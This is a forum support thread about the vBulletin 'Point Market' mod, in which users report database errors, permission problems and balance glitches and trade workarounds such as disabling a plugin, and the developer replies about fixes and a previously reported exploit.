I have been using your mod on my forum together with vbExperience. I don`t know whats wrong sometimes users get a negative points balance for no reason, and one of my members purchased points from our site with real money and ended up with a negative balance.

There must be a glitch in the mod somewhere because this shouldn`t be happening.

Same problem I have. My users get a negative points balance and when they use stolen and it successful done but after while the balance disappear.

I use 4.1.4

I hope the developer will reply to us.

[craigbett]

Is there any way I can change the download path? I want to take it out of the public_HTML folder and put it in the home folder.

[Successfulsteps]

I LOVE this mod! Is there anyway to make it where store items have the delivery system of posting to a certain thread?

I have vshop installed too which I'd to get away from, but I cannot seem to find where to put bank interest in this Market mod. Many of my members have their points in the vshop mod, and I would love to make it where I can ask them to withdraw them and then deposit so I can get rid of vshop, it's nothing in comparison to this one. I truly think this is far superior in all it allows and is more professional looking.

[stamos2003]

error in vbulletin 4.1.4 when you want to go to the "Who is Online" page:

Database error in vBulletin 4.1.4:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1311076856



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054

[DS MrSinister]

*Stamos2003

here is a temporary fix.

https://vborg.vbsupport.ru/showpost.php?p=2211193&postcount=1905

[Kotsu]

How do you Delete Store Items/Store Categories?

Can anyone tell me how to do this? Not sure if I'm missing something.

[DS MrSinister]

Can anyone tell me how to do this? Not sure if I'm missing something.

Looks like you can't delete them in this version. hopefully on the next release. i would just disabled them now until TheMayhem comes back.

[Successfulsteps]

error in vbulletin 4.1.4 when you want to go to the "Who is Online" page:

Database error in vBulletin 4.1.4:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1311076856



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054

*Stamos2003

here is a temporary fix.

https://vborg.vbsupport.ru/showpost.php?p=2211193&postcount=1905

Wow, thanks for asking and thanks for the answer! I had that error too and had no idea it was that particular plug-in causing it. Sure saved me some time you asking!

[TimesOut]

We still waiting the Developer to find a salutation for the problem with bank in v. 4.1.4

[Reycer]

Wow, thanks for asking and thanks for the answer! I had that error too and had no idea it was that particular plug-in causing it. Sure saved me some time you asking!

Everyone should read the previous posts. This fix has been listed about a dozen times.

[tdkmatt]

it doesnt work for me, it says i do not have permission to access the page ? i did add myself with all rights

http://www.fatalitynetworking.com/forum/market.php

[JayCat]

This mod uses way too many mysql queries.

I loaded my profile page and it sent over 700 queries to my database. It does this every time I load my page. (Disabling this mod brought it down to about 48... so I know it was because of this mod).

Right now I think you are using some sort of loop that submits a query to check for every action I've made with the point market (donating, gifts, etc.). This amounts to about 700 or so...

There needs to be a better way to retrieve the data rather than a loop... I had to disable this mod in order to keep my query count reasonable for my host.

edit: using Point Market System 3.1x, and the latest version of vbulletin 4.1.4PL2

[8thos]

Official 3.1.0 Gold Post

I think I spent 9 months working on the 3.1x series and it feels great to finally make this post. Over the past half year and beyond, I've set out to create the most powerful point/store system that has ever been available at anytime during the existance of forum hacks. Based on your feedback as users of this modification, I finally feel that the Point Market is stable enough to be labled gold. What's gold? This is the finished product of what I wanted from the 3.1x series. I feel that the remaining bugs are minimal enough that no real big issues should exist.

I should first note that this upgrade IS REQUIRED!!! Any version before this (even the 3.0 series) needs to upgrade to this series. There is just too many features, changes, and tweaks over the history of the market for you not to upgrade. In addition in this final gold release, there was one major security fix that had to be addressed. Users NEED to upgrade to this version.

I want to thank all users for their patience. I can now resume scripting the 3.1x series with patches and new features. If you are interested in a branded free option, you are more then welcome to private message me for details.

~Brad
Holy Mother of God dude you went H.A.M. (Hard As a Mufukka). The ability to purchase smilies!!!!!!!!!

[CODEHX]

Database error in vBulletin 4.1.4:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1311707591



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Tuesday, July 26th 2011 @ 12:28:11 PM
Error Date : Tuesday, July 26th 2011 @ 12:28:11 PM
Script : http://unitedbroskigamers.com/online.php
Referrer : http://unitedbroskigamers.com/forum.php
IP Address : 204.213.227.242
Username : CODEHX
Classname : vB_Database
MySQL Version : 5.0.91-log

[Successfulsteps]

*Stamos2003

here is a temporary fix.

https://vborg.vbsupport.ru/showpost.php?p=2211193&postcount=1905

Database error in vBulletin 4.1.4:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1311707591



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Tuesday, July 26th 2011 @ 12:28:11 PM
Error Date : Tuesday, July 26th 2011 @ 12:28:11 PM
Script : http://unitedbroskigamers.com/online.php
Referrer : http://unitedbroskigamers.com/forum.php
IP Address : 204.213.227.242
Username : CODEHX
Classname : vB_Database
MySQL Version : 5.0.91-log

There's a fix in the above captioned quote. I don't understand why they don't put that in the first post of these threads. 130 pages of a thread is an awful lot of posts to sift through and most people who run a forum that is growing and thriving .. frankly do not have the time to read that MANY posts.

The Bank Interest isn't working right either and that has yet to be addressed in 4.1.4. I wish the developer would come back and address that issue.

[Reycer]

There's a fix in the above captioned quote. I don't understand why they don't put that in the first post of these threads. 130 pages of a thread is an awful lot of posts to sift through and most people who run a forum that is growing and thriving .. frankly do not have the time to read that MANY posts.

The Bank Interest isn't working right either and that has yet to be addressed in 4.1.4. I wish the developer would come back and address that issue.

Yes but if they skip ahead to the last page the fix can EASILY be found, as it keeps getting repeated numerous times. But agreed, it should be put into the first post for sure.

[Vikingant]

I am loving this mod but one thing was bought to my attention today. One of our members tried to create his own forum but was denied. I tried it myself and scoured every setting I could find but still no Joy.

Below are the before and after screen shots and you will see the required fields are filled in.

Any ideas?

Ant

[txsbmw]

You should force the permissions Again:

First Deny the permission for a group, and then allow again the permision.

In this way you can "refresh" the settings to force writting in database correct values.

I hope you can fix it.

See you.

I am getting this issue again. Can access the store but get the no permission message when I try to purchase something. This is happening with all of my usergroups. I have tried to deny then allow several times and it still is not allowing access.

[DonosOdD]

Hello Mayhem, I've downloaded it and been experiencing these problems:

- Stealing doesn't work. Even if you set it to 100% efficiency, the user does not get the points.

- The forum permission item does not work (I've put correctly the forum ID in the settings - forum keys). I guess this one is simpler; what do I must do? Change anything in usergroup permissions?

Thanks in advance.

[appleballs]

Just installed Point Market 3.1.0 Beta 3 and am getting the following error:

Database error in vBulletin 4.1.4:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1312306442



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Tuesday, August 2nd 2011 @ 12:04:02 PM
Error Date : Tuesday, August 2nd 2011 @ 12:04:02 PM
Script : http://www.adultinsider.com/online.php
Referrer :
IP Address : 119.63.196.27
Username : Unregistered
Classname : vB_Database
MySQL Version :

[appleballs]

I just noticed the temporary fix in an earlier post on this page. I'll give that a try.

[Mangia]

The discount option has been setup under usergroup permissions. But it is showing up as 0% on the actual items.

Is there another step I'm missing?

Also coupons don't seem to show up under items. It displays this message:

"Your primary usergroup does not have access to use coupons on this item". I enabled the usergroup to use coupons for particular items and coupon access has been purchased.

[CJFactor]

Looks great, possible for members to buy 'ad spots'?

[Scyther]

Nice one..will install once i upgrade

[michal72]

I have this error when I set "Primary Point Field" market_xperience and click Market

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /includes/class_core.php(4489) : eval()'d code on line 54

Parse error: syntax error, unexpected '<' in /includes/class_core.php(4489) : eval()'d code on line 55

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /includes/class_core.php(4489) : eval()'d code on line 54

Parse error: syntax error, unexpected '<' in /includes/class_core.php(4489) : eval()'d code on line 55


Any ideas?

Vbuletin 4.1.5 sp1

Thank you in advance for some advice

Ps. the same for "Purchases","Bank" and "Converter" work well


This code can't be eval
"$final_rendered = '' . vB_Template_Runtime::fetchStylevar(\"htmldoctype\") . '\r\n' . vB_Template_Runtime::fetchStylevar(\"htmldoctype\") . '\r\n<html
xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\" dir=\"' . vB_Template_Runtime::fetchStylevar(\"textdirection\") . '\" lang=\"' .
vB_Template_Runtime::fetchStylevar(\"languagecode\") . '\" id=\"vbulletin_html\">\r\n <head>\r\n <title>' . $vboptions['bbtitle'] . '<\/title>\r\n ' .
$headinclude . '\r\n ' . $headinclude_bottom . '\r\n<script type=\"text\/javascript\">\r\n<!--\r\nfunction submitPressed() {
\r\ndocument.marketpurchase.purchase.disabled = true; \r\n\/\/stuff goes here \r\ndocument.marketpurchase.submit(); \r\n}\r\n\/\/ -->\r\n<\/script>\r\n\r\n<style
type=\"text\/css\">\r\n\r\nfieldset {\r\nborder: 1px solid #5a7f97;\r\nwidth: 90%;\r\npadding: 5px;\r\n}\r\nlegend {\r\npadding: 6px;\r\nborder: 1px solid
#5a7f97;\r\nfont-weight: bold;\r\n}\r\n.realsmall { \r\nfont-size: 11px;\r\n} \r\n<\/style>\r\n\r\n\r\n<script type=\"text\/javascript\"
src=\"http:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.4.2\/jquery.min.js\"><\/script>\r\n\r\n<style type=\"text\/css\">\r\n\r\n#storeslideshow{ \/*sample CSS
for demo*\/\r\nborder:15px solid black;\r\n}\r\n\r\n.paginate{\r\nwidth: 330px;\r\nmargin-top:5px;\r\nfont:bold 14px
Arial;\r\ntext-align:center;\r\n}\r\n\r\n<\/style>\r\n\r\n' . ''; if ($image_big_1 OR $image_big_2 OR $image_big_3 OR $image_big_4 OR $image_big_5)
{\n\t\t\t\t\t$final_rendered .= '\r\n<script src=\"pointmarket\/storeslideshow.js\"
type=\"text\/javascript\">\r\n\/***********************************************\r\ n* Continuous Reel Slideshow- "



Fixed:
and the source of my problem is copyright sign in file product-pointmarket.xml:
/***********************************************
* Continuous Reel Slideshow- ? Dynamic Drive (www.dynamicdrive.com)
***********************************************/

[dmandem]

I am having the problem where a user will use the gambling feature or steal feature and then lose most of their points right after.

Anyone know what's causing this?

[Mopar1973Man]

Ummm... Could someone tell me how to change a forum items refund status???

When I go under edit market items there is no control for the refund switch. Some items I want to be refundable and other not. But I've not found a way to change the refund status of each market item? :confused:

[LGKeiz]

Nevermind

[LGKeiz]

MySQL Error : Unknown column 'user.market_username_color' in 'field list'

when going to online.php

seen there was a temp fix, gonna try to fix the problem.

[hoadiem]

it said this work with kbank but i don't see it under primary and secondary point fields ?

[fly]

So just in case TheMayhem comes back, can I suggest adding the ability to buy someone else an additional usergroup (with expiration)?

edit: I've started to cobble together a way to do it, but another suggestion would be an easy way to include other third party scripts...

[Littlerocket]

Great mod.

Problem I have is relating to secondary usergroup. When I go into the 2 already-created secondary usergroup items, it only lets me select Primary Usergroup. If I create a new secondary usergroup item, the new item only has the select Primary Usergroup pull down box in it.

Any ideas? I am sure the Secondary Usergroup pull down box was there when I first installed it.

Thanks.

[Littlerocket]

Another issue is that when a user purchases a usergroup change item, their name changes from black to red.

[hoadiem]

forum password is not working, it said after purchase go to purchase history page to view password but i don't see it, and i have forum id set up right.

[Littlerocket]

Note: The maximum size of your custom image is -1 by -1 pixels or -1 Bytes (whichever is smaller).

Can't seem to change this setting. Any ideas?

Thanks.

[Laurvick]

Whenever I go to the Who's Online page, I get an error.

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1314829461

GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054

[Littlerocket]

Having major problems with the custom title.

a user purchases the title in market
an admin edits the title in admincp
the user title changes, then reverts back to custom title 15 minutes later

How do we fix this so that the admin can remove the title?

[Mopar1973Man]

Hopefully we haven't lost our producer of the software... Been awhile... :confused:

[VBUsers]

grabbed this version. hope all goes good

http://vbpointmarket.com/index.php?main_page=product_info&cPath=1&products_id=1

the nav bar doesnt seem to show me for.

[fly]

grabbed this version. hope all goes good

http://vbpointmarket.com/index.php?main_page=product_info&cPath=1&products_id=1

the nav bar doesnt seem to show me for.

Is someone stealing TheMayhem's work and selling it? ugh

[DonosOdD]

Is someone stealing TheMayhem's work and selling it? ugh
Nope, this is the branding free version TheMayhem sells. That website is his.

[fly]

Nope, this is the branding free version TheMayhem sells. That website is his.

Hmmm, didn't know that. Interesting. Please excuse my logic leap.

[Stylish]

online.php is not working with this last version :( somebody know how to fix it? I had to disable this product in order to make it work again. :s

Database error in vBulletin 4.1.5:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 13*********



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Friday, September 16th 2011 @ 12:42:29 AM
Error Date : Friday, September 16th 2011 @ 12:42:29 AM
Script : http://www..*****..com/online.php
Referrer : http://www.*****.com/private.php?do=newpm
IP Address : *****
Username : Stylish
Classname : vB_Database
MySQL Version : 5.1.56

[fly]

^There is a fix for that in the last few pages. You'll have to disable a plugin

[MNNLeafre]

I have a small problem. I added this and vBCredits Deluxe II. However, it doesn't let me access the market. in the settings I enabled it to have it on the nav bar but it's not there. When I go to market.php it says I don't have permissions. Pretty sure I do because I'm a Super Admin + checked Admin privileges.
Help? |:

[snowlion]

I have a small problem. I added this and vBCredits Deluxe II. However, it doesn't let me access the market. in the settings I enabled it to have it on the nav bar but it's not there. When I go to market.php it says I don't have permissions. Pretty sure I do because I'm a Super Admin + checked Admin privileges.
Help? |:
Read the readme file again
5. Add Administrator permissions on the Settings & Staff Permission.
6. Edit all usergroup permissions. By default the Point Market system is
turned off for all usergroups. Please make sure all secondary usergroups
have been edited as well.

[SPEEDKILLZ]

Love the product but I get this when i click the whos online (12users) link


Database error in vBulletin 4.1.5:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1316390092



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Monday, September 19th 2011 @ 04:09:52 AM
Error Date : Monday, September 19th 2011 @ 04:09:52 AM
Script : http://www.yourdomain.com/online.php
Referrer : http://www.yourdomain.com/forum.php
IP Address : xx.xx.xx.xxx
Username : xxxxx
Classname : vB_Database
MySQL Version : xxxxx

I disable this product it's fine any help?



NVR Mind found the fix few pages back :)

[MNNLeafre]

Read the readme file again

Yea, I found this out like a minute after. >_> Hah. Thanks anyways.

Oh, by the way, in AdminCP, when I donate to a user, the user doesn't get it.
I'm using VbCredits Deluxe II

[smirkley]

So mayhem has dropped the free vborg version, and only supports the paid version.

Kinda sucks. Didnt see this coming till weeks after no support here.

[fly]

I'm fine if that's the case, but some sort of official announcement might be nice...

[ellinofatsa]

Database error in vBulletin 4.1.6:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1316366937



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Monday, September 19th 2011 @ 12:08:57 PM
Error Date : Monday, September 19th 2011 @ 12:08:58 PM
Script : http://www.ellinofatsa.info/forums/online.php
Referrer : http://www.ellinofatsa.info/forums/forum.php
IP Address : xxxxxxxx
Username : xxxxxxx
Classname : vB_Database
MySQL Version : 5.1.52

[fly]

^Please search. The fix for that was posted a few pages back.

[Eruantien]

Under maintenance for this product, I am getting an error for the VBexperience addon. It is not validating and is spitting out: The point field has been entered but no data exists in this field name

I tried market_xperience but it's not working.

[TheMayhem]

Ughh.... I move to South Carolina and take a small break from programming to find vBulletin has changed everything under the son and now I have to redo a bunch of stuff...........just great :P

Can anyone get me up to date on what is no longer working with the newer vBulletin versions?

[MNNLeafre]

Ughh.... I move to South Carolina and take a small break from programming to find vBulletin has changed everything under the son and now I have to redo a bunch of stuff...........just great :P

Can anyone get me up to date on what is no longer working with the newer vBulletin versions?

When going to the 'Who's Online' page, you get this error:
Database error in vBulletin 4.1.6:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript, session.inthread, session.inforum, session.inwiki
FROM session as session

WHERE session.lastactivity > 1317092471



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Monday, September 26th 2011 @ 08:16:11 PM
Error Date : Monday, September 26th 2011 @ 08:16:11 PM
Script : http://site.com/online.php
Referrer : http://site.com/forum.php

Though, there is a simple temporary fix someone posted a few pages back, which was to disable Point Market: Users Online Colors Query in the Plugin Manager.

[smirkley]

I am not sure if this is related to this mod, but TheMayem needs to take a look at this.

http://www.exploit-db.com/exploits/17141/

[fly]

I am not sure if this is related to this mod, but TheMayem needs to take a look at this.

http://www.exploit-db.com/exploits/17141/

Uh-oh.

The link points to Alpha 1 as being the release. Hopefully its been fixed...

[farhanisfarhan]

Has anyone looked onto this:

http://www.exploit-db.com/exploits/17141/

????

[fly]

Has anyone looked onto this:

http://www.exploit-db.com/exploits/17141/

????

Did you look 2 posts above yours? No.

[vanquish.securi]

I had to disable the Point Market because of thie "whos online" database here. I did find this report on bug tracker

http://tracker.vbulletin.com/browse/VBIV-12392?page=com.atlassian.streams.streams-jira-plugin%3Aactivity-stream-issue-tab

Its for vB 4.1.4 but I am running 4.1.7. Its a shame because I was looking forward to using the product. Will check back for a fix.

Edit: MySQL officially sucks.

[fly]

I had to disable the Point Market because of thie "whos online" database here. I did find this report on bug tracker

http://tracker.vbulletin.com/browse/VBIV-12392?page=com.atlassian.streams.streams-jira-plugin%3Aactivity-stream-issue-tab

Its for vB 4.1.4 but I am running 4.1.7. Its a shame because I was looking forward to using the product. Will check back for a fix.

Edit: MySQL officially sucks.

Or you could just search this thread. A fix has been posted. There is a plugin you have to disable.

[vanquish.securi]

Or you could just search this thread. A fix has been posted. There is a plugin you have to disable.

Thanks man. For those of you who dont have the time to stiff through 100+ posts, here is the temp fix.

Problem: User Online sql
- Temporal solution: (for version vb4.1.4)
1) go to your plugins
2) search for Point Market: Users Online Colors Query
3) disable it

and that all!

is just a temporal fix.. I will try to post a solution asap

[farhanisfarhan]

Did you look 2 posts above yours? No.

the above 2 posts didn't explain the question anyway. is it been fixed or not. any answer?

[TheMayhem]

If you follow the plugin fix you can disable the who's online plugin. That will disable the error; however, people will not show up correctly if they are on the market. It is only a minor feature loss that will be fixed whenever I get this updated.

[fly]

If you follow the plugin fix you can disable the who's online plugin. That will disable the error; however, people will not show up correctly if they are on the market. It is only a minor feature loss that will be fixed whenever I get this updated.

Can you please address the exploit posted in this thread???

[TheMayhem]

I am not sure if this is related to this mod, but TheMayem needs to take a look at this.

http://www.exploit-db.com/exploits/17141/

That was reported during the beta/alpha series. It was fixed before I released the final 3.1x version.

Good news, I'm going to release a bug fix today to my professional site and also to this site.

[fly]

Thank you sir!

[smirkley]

I am letting people know that I completed 3.1.1 and will release it on June 8th. 3.1.1 features a new gift feature that allows for detailed information through the postbit (A clickable popup link) that shows information released to what a user has earned via gifts.

I've already begun working on 3.1.2, which I am very excited to say will feature these new forum market items:
Version 3.1.2 is coming out this week is a major forum item release. There are 7 New forum Market items:
- Upload Gift
- Change Thread Name
- Thread Glow
- Username Rainbow
- Usertitle Rainbow
- Upload Profile Picture
- Upload Signature Image

That will be released here on vb.org at the end of June. I might add some new lottery features in there too if I get time :)

Hoping to see this. As well as the fixes. Is there a target date?


Having a different error, still reading the forums to find a solution.

Trying to purchase a gift created by others, and the next page after clicking purchase has broken css and formatting or something, and the transaction doesnt go through.

these errors at top of page...
Warning: include_once([path]/pointmarket/gift_purchase.php) [function.include-once]: failed to open stream: No such file or directory in [path]/market.php on line 436

Warning: include_once() [function.include]: Failed opening '[path]/pointmarket/gift_purchase.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in [path]/market.php on line 436


tia


edit - found fix here
https://vborg.vbsupport.ru/showthread.php?p=2170335&highlight=gift_purchase#post2170335

[smirkley]

Well I just realized I was using one of the Alpha versions still,.... upgraded and testing out

my bad

[fly]

Hoping to see this. As well as the fixes. Is there a target date?

Did you just quote a post that listed target dates, then ask for target dates?

[smirkley]

Did you just quote a post that listed target dates, then ask for target dates?

Yes, the target date in that post was months ago.

[fly]

Yes, the target date in that post was months ago.
LOL

That's what I get for drinking at lunch.

[TheMayhem]

The 3.1.2 pack was lost, that is why I haven't released it. My laptop went bad when I moved to South Carolina and I was without a computer for quite some time. Anyways, what will be in the next release is bug fixes.

[MNNLeafre]

How can I make this compatible with Cel's User's Social Groups on Forum Home?
https://vborg.vbsupport.ru/showthread.php?t=221581
Because whenever someone posts when they have username color or glow from the market, this happens:
https://vborg.vbsupport.ru/external/2011/10/28.png

[fly]

The 3.1.2 pack was lost, that is why I haven't released it. My laptop went bad when I moved to South Carolina and I was without a computer for quite some time. Anyways, what will be in the next release is bug fixes.
Not trying to sound like a ++++ here, but can I suggest Dropbox? It's saved my ass many times. You can even revert back file changes.

[vanquish.securi]

Not sure if this was posted, or if its a known bug, or if there is a work around. But I have Point Market 3.1.0 installed, latest version, and vBExperience 4.1.0 installed. When I go to AdminCP-->Point Market-->Statistics I get the follow database error:


Database error in vBulletin 4.1.7:

Invalid SQL:
SELECT username, vBExperience FROM user order by vBExperience DESC limit 0,1;

MySQL Error : Unknown column 'vBExperience' in 'field list'
Error Number : 1054
Request Date : Saturday, October 22nd 2011 @ 01:07:09 PM
Error Date : Saturday, October 22nd 2011 @ 01:07:09 PM
Script : http://www.vanquishcoding.com/community/gatekeeper/market_stats.php
Referrer : http://www.vanquishcoding.com/community/gatekeeper/index.php?do=nav
IP Address :
Username :
Classname : vB_Database
MySQL Version : 5.0.92-community


I have reinstalled both Point Market and vBExperience and still getting the same problem. Just wanted to know if it was a known problem.

Thanks